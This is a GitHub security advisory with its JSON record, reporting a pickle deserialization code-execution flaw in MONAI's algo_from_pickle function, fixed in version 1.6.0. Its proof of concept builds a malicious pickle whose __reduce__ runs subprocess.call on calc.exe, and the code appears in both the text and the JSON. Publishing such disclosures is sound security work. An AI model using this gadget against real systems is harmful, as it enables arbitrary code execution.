GHSA-89GG-P5R5-Q6R4

Vulnerability from github – Published: 2026-04-07 20:17 – Updated: 2026-07-31 22:01
VLAI
Summary
MONAI: Unsafe functions lead to pickle deserialization rce
Details

Summary

The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.

Details

poc

import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())

attack_data = {
    "algo_bytes": malicious_algo_bytes,  

}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
    f.write(pickle.dumps(attack_data))

Generate the malicious file "attack_algo.pkl" through POC.

from monai.auto3dseg.utils import algo_from_pickle


attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)

Ultimately, it will trigger pickle.load through a file to identify the command execution.

image

Causes of the vulnerability:

def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:

    with open(pkl_filename, "rb") as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)

Impact

Arbitrary code execution

Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method

Severity
7.6 (High)
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "monai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-07T20:17:21Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.\n\n### Details\npoc\n```\nimport pickle\nimport subprocess\nclass MaliciousAlgo:\n    def __reduce__(self):\n        return (subprocess.call, ([\u0027calc.exe\u0027],))\nmalicious_algo_bytes = pickle.dumps(MaliciousAlgo())\n\nattack_data = {\n    \"algo_bytes\": malicious_algo_bytes,  \n     \n}\nattack_pickle_file = \"attack_algo.pkl\"\nwith open(attack_pickle_file, \"wb\") as f:\n    f.write(pickle.dumps(attack_data))\n\n```\nGenerate the malicious file \"attack_algo.pkl\" through POC.\n\n```\nfrom monai.auto3dseg.utils import algo_from_pickle\n\n\nattack_pickle_file = \"attack_algo.pkl\"\nresult = algo_from_pickle(attack_pickle_file)\n```\nUltimately, it will trigger pickle.load through a file to identify the command execution.\n\n\u003cimg width=\"909\" height=\"534\" alt=\"image\" src=\"https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f\" /\u003e\n\nCauses of the vulnerability:\n```\ndef algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -\u003e Any:\n\n    with open(pkl_filename, \"rb\") as f_pi:\n            data_bytes = f_pi.read()\n        data = pickle.loads(data_bytes)\n\n```\n\n\n\n### Impact\nArbitrary code execution\n\nRepair suggestions\nVerify the data source and content before deserializing, or use a safe deserialization method",
  "id": "GHSA-89gg-p5r5-q6r4",
  "modified": "2026-07-31T22:01:45Z",
  "published": "2026-04-07T20:17:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-89gg-p5r5-q6r4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/issues/8874#issuecomment-4752023161"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/commit/9078a72f3992e49bd4560db510be9ec4ccf972cc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Project-MONAI/MONAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MONAI: Unsafe functions lead to pickle deserialization rce"
}



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